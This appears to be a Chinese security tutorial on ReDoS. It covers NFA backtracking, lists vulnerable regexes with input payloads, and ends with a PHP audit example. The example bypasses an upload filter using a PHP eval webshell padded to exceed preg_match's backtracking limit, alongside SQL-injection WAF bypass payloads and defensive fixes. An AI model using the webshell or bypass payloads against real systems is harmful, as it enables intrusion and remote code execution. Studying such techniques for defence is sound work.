DOS为拒绝服务攻击，re则是由于正则表达式使用不当，陷入正则引擎的回溯陷阱导致服务崩溃，大量消耗后台性能

正则

​ 探讨redos攻击之前，首先了解下正则的一些知识

执行过程

• 大体的执行过程分为: 编译 -> 执行
• 编译过程中，首先进行预编译，然后进入编译阶段
• 执行的时候利用正则引擎进行匹配，最终得出匹配成功or失败
• 编码过程中尽量使用预编译，并将预编译结果临时保存到全局变量，预编译的速度要比即用编辑快！

# -*- coding:utf-8 -*-
import re
import timepattern = r"http:\/\/(?:.?\w+)+"text = r'<a href="http://www.xxx.com">xxx.com</a>'# 预编译
pattern_compile = re.compile(pattern)time_begin = time.time()
for i in range(5000000):pattern_compile.match(text)
print("compile total time = {0}".format(time.time() - time_begin))time_begin = time.time()
# 未使用预编译
for i in range(5000000):re.match(pattern, text)
print("not compile total time = {0}".format(time.time() - time_begin))>>>
compile total time = 3.97600007057
not compile total time = 11.0629999638

正则引擎

• DFA-确定型有穷自动机
  • 捏着文本串去比较正则式，看到一个子正则式，就把可能的匹配串全标注出来，然后再看正则式的下一个部分，根据新的匹配结果更新标注
  • 文本串中每一个字符串只扫描一次，速度快，特征少
  • 文本主导，按照文本的顺序执行(确定型)
  • 没有回溯的过程，不能使用断言等正则高级语法

• NFA-非确定性有穷自动机
  • 捏着正则式去比文本，吃掉一个字符，就把它跟正则式比较，匹配就记下来：“where when匹配上了！”，接着往下干。一旦不匹配，就把刚吃的这个字符吐出来，一个个的吐，直到回到上一次匹配的地方
  • 反复吞吐文本字符，速度慢，特征丰富
  • 表达式主导，按照表达式主导执行
  • 有回溯的过程，能使用断言等正则高级语法

正则引擎使用场景

引擎类型	程序
DFA	awk(大多数版本)、egrep（大多数版本）、flex、lex、MySQL、Procmail
传统型 NFA	GNU Emacs、Java、grep（大多数版本）、less、more、.NET语言、PCRE library、Perl、PHP（所有三套正则库）、Python、Ruby、set（大多数版本）、vi
POSIX NFA	mawk、Mortice Lern System's utilities、GUN Emacs（明确指定时使用）
DFA/NFA混合	GNU awk、 GNU grep/egrep、 Tcl

• 概括下，大多数高级语言都是使用NFA正则引擎，功能强大
• 数据库则使用DFA正则引擎，如MongoDB，MySQL

ReDos问题

​ 下面跳出正则部分，开始描述DOS部分

回溯陷阱

​ 前文我们已经提到NFA正则引擎的自身机制导致正则匹配有回溯的问题

eg: text = "aaaaaaaaaaaaaa", pattern=/^(a*)b$/

• (a*),匹配到了文本中的aaaaaaaaaaaaaa
• 匹配正则中b无法匹配，text中的所有的a都被(a*)吃了
• 开始吐，吐一个a不行
• 继续吐......
• 到最后都不能匹配，如果文本a过多，回溯次数过多，Dos拒绝服务
• 如果一个正则表达式有多个部分需要回溯，那么次数就是指数型。文本长度为100，两个部分需要回溯，则100^2 = 10000次，恐怖

eg:

import re
import timebegin_time = time.time()
re.match("^(a+)+$", r"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!")print("total time = {0}".format(time.time() - begin_time))>>>
total time = 31.8870000839

一些ReDos样例

• (a+)+
• ([a-zA-Z]+)*
• (a|aa)+
• (a|a?)+
• (.*a){x} | for x > 10

Payload: "aaaaaaaaaaaaaaaaaa!"

一些业务场景

• Person Name:
  • Regex: ^[a-zA-Z]+(([\'\,\.\-][a-zA-Z ])?[a-zA-Z]*)*$
  • Payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaa!

• Java Classname
  • Regex: ^(([a-z])+.)+[A-Z]([a-z])+$
  • Payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

• Email Validation
  • Regex: ^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@(([0-9a-zA-Z])+([-\w]*[0-9a-zA-Z])*\.)+[a-zA-Z]{2,9})$
  • Payload: a@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

• Multiple Email address validation
  • Regex: ^[a-zA-Z]+(([\'\,\.\-][a-zA-Z ])?[a-zA-Z]*)*\s+<(\w[-._\w]*\w@\w[-._\w]*\w\.\w{2,3})>$|^(\w[-._\w]*\w@\w[-._\w]*\w\.\w{2,3})$
  • Payload: aaaaaaaaaaaaaaaaaaaaaaaa!

• Decimal validator
  • Regex: ^\d*[0-9](|.\d*[0-9]|)*$
  • Payload: 1111111111111111111111111!

• Pattern Matcher
  • Regex: ^([a-z0-9]+([\-a-z0-9]*[a-z0-9]+)?\.){0,}([a-z0-9]+([\-a-z0-9]*[a-z0-9]+)?){1,63}(\.[a-z0-9]{2,7})+$
  • Payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

小结下

• 重复分组构造
• 交替重叠

防御&&优化

​ 从开发or安全角度

• 正则表达式书写注意，防止多处回溯(需要开发有一定的正则功底)
• 文本串长度限制

最后的一个例子

一道php代码审计

<?php
function is_php($data){return preg_match('/<\?.*[(`;?>].*/is', $data);
}$file_name = 'C:\phpStudy\WWW\xxx\webshell.php';
$user_dir = 'C:\phpStudy\WWW\xxx' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($file_name);
//$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {echo "bad request";
} else {echo "successful";@mkdir($user_dir, 0755);$path = $user_dir . '/' . random_int(0, 10) . '.php';move_uploaded_file($_FILES['file']['tmp_name'], $path);header("Location: $path", true, 303);
}
?>

代码最后的目的是绕过is_php函数的限制，写入php木马

如下，这个是绕不过正则的

<?php@eval ($_REQUEST["xxx"]);
?>

• 但是这个正则存在回溯陷阱问题
• php中有最大回溯次数的限制。默认为1000000

payload

'aaa<?php eval($_POST[txt]);//' + 'a' * 1000000

• aaaaaaaa...aaaaaaaa会吃完正则中第一个.*,但是该payload不会匹配[(;?>]`,所以只能吐，进入回溯陷阱

生成POC文件

# -*- coding:utf-8 -*-
# print('aaa<?php eval($_POST[txt]);//' + 'a' * 1000000)filename = 'webshell_flag.php'
with open(filename, 'w') as file_object:file_object.write('aaa<?php eval($_POST[txt]);//' + 'a' * 1000000)

成功绕过

其它:

• waf - 1

<?php
if(preg_match('/SELECT.+FROM.+/is', $input)) {die('SQL Injection');
}

• waf - 2

<?php
if(preg_match('/UNION.+?SELECT/is', $input)) {die('SQL Injection');
}

payload： UNION/*aaaaa*/SELECT （aaaaa吃掉第一个.+?,后续发现 S 和 * 不匹配，导致开始吐，进入陷阱）

上述的防御

• 用preg_match对字符串进行匹配，一定要使用===全等号来判断返回值

<?php
function is_php($data){  return preg_match('/<\?.*[(`;?>].*/is', $data);  
}if(is_php($input) === 0) {// fwrite($f, $input); ...
}

• 因为正常情况返回 0， 1 ，超过回溯次数返回False